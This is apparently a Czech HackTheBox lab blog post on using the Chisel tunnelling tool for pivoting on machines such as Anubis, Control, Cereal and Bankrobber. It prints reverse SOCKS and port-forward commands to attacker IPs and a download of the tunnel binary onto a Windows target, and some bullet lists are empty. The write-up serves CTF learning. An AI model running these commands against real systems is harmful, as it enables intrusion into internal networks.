tom@home.htb:~$

Blog o HTB

28 October 2020

Chisel

Úvod a kontext

Chisel je v tomto projektu praktický hlavně jako rychlý tunelovací nástroj ve chvíli, kdy první foothold ještě neznamená použitelný přístup k tomu, co je opravdu důležité. Typicky nejde o finální shell, ale o most:

Na Anubisu vytváří reverzní SOCKS pivot do interní sítě. Na Controlu přeposílá lokální WinRM port ven, aby se dalo přejít z webshellu na stabilní správní kanál. Na Bankrobberu a Cerealu zpřístupňuje interní služby, které samy o sobě nejsou zvenku dosažitelné. Širší logiku takových mostů rozebírám i v článku Port forwarding, proxy a protokolové mosty jako exploitační primitivum.

Co Chisel v praxi řeší

Chisel je tunelovací nástroj nad HTTP/WebSocket transportem. Prakticky odpovídá na otázky:

Jeho největší hodnota je v tom, že z nestabilního footholdu rychle udělá dopravní vrstvu pro další normální nástroje:

Nejčastější scénáře využití v tomto projektu

Reverzní SOCKS pivot po prvním command execution

Na Anubisu webový foothold ještě nic zásadního neřeší. Důležité služby leží až v interní síti, takže první smysluplný krok je vytvořit reverzní SOCKS:

./chisel server -p 8080 --reverse
cmd /c chisel_windows_amd64.exe client 10.10.14.7:8080 R:socks

Právě odtud vzniká skutečná hodnota:

Tady je důležité, že Chisel neřeší útok sám. Řeší až okamžik, kdy útok potřebuje přežít a rozšířit se do další sítě.

Přeposlání localhost-only nebo interního portu ven

Na Controlu už účet hector existuje, ale WinRM není zvenku dosažitelný. Místo zůstávání u nepohodlného webshellu dává smysl přeposlat lokální 5985 ven:

wget http://10.10.15.217:8000/exe/chisel_windows_amd64.exe -outfile c:\windows\temp\chisel_windows_amd64.exe
c:\windows\temp\chisel_windows_amd64.exe client 10.10.15.217:8008 R:5985:127.0.0.1:5985
chisel server -p 8008 --reverse

To je velmi praktický pattern:

Tím se z jednorázového webshellu stane stabilní shell přes správný management kanál.

Zpřístupnění jiné interní služby pro další trigger

Na Cerealu je situace jiná. Po prvním shellu se ukáže GraphQL služba na localhostu a kombinace s SeImpersonatePrivilege. Chisel tu neřeší přímý shell, ale zpřístupní interní GraphQL endpoint ven:

./chisel server -p 8001 --reverse
chisel_windows_amd64.exe client 10.10.14.22:8001 R:8081:127.0.0.1:8080

Teprve pak lze zvenku triggernout GraphQL mutaci, která spolu s GenericPotato dovede útok až k rootu.

To je důležitá lekce: Chisel je často bridge mezi “už něco mám” a “teď konečně můžu zvenku ovládat správnou interní službu”.

Přístup k neveřejnému portu exploitu

Na Bankrobberu je hlavní aplikace jen první fáze. Buffer overflow běží na interním portu 910, který veřejně vidět není. Chisel ho zpřístupní ven:

chisel_windows_amd64.exe client 10.10.14.223:8008 R:910:0.0.0.0:910
chisel server -p 8008 --reverse

Právě tady je dobře vidět, že tunel není komfortní doplněk. Bez něj by finální exploit neměl na co mířit.

Kdy je Chisel nejlepší volba

Největší smysl dává tehdy, když:

V takových situacích bývá lehčí a rychlejší než širší tunelovací řešení.

Co Chisel neumí vyřešit za vás

Chisel:

Na Anubisu musí po tunelu přijít proxychains, Responder, kinit a evil-winrm. Na Controlu je stále potřeba platný účet. Na Bankrobberu a Cerealu teprve po tunelu přichází finální trigger.

Nejčastější chyby při použití

Záměna za finální pivot řešení pro všechno

Chisel je skvělý pro rychlý most. To ale neznamená, že je nejlepší pro každý dlouhodobý nebo rozsáhlý pivot. Jeho největší hodnota je v rychlosti a jednoduchosti.

Stavba tunelu bez jasného cíle

Tunel má smysl tehdy, když už víte:

Bez toho jen otevíráte dopravu bez dalšího plánu.

Zapomenutí na další vrstvu nástrojů

Chisel sám obvykle útok neuzavře. V projektu opakovaně funguje až ve dvojici s další vrstvou:

Nejčastější praktické scénáře

Potřebuji reverzní SOCKS do interní sítě

To je Anubis.

Potřebuji dostat localhost službu ven a přejít na lepší správní kanál

To je Control.

Potřebuji zpřístupnit interní port, proti kterému poběží další exploit nebo trigger

To je Bankrobber a Cereal.

Související články v projektu

Co si odnést do praxe

Další Související Články V Projektu

Techniky

Nástroje

tags: nastroje - tunneling - pivot - socks - port-forwarding - reverse-tunnel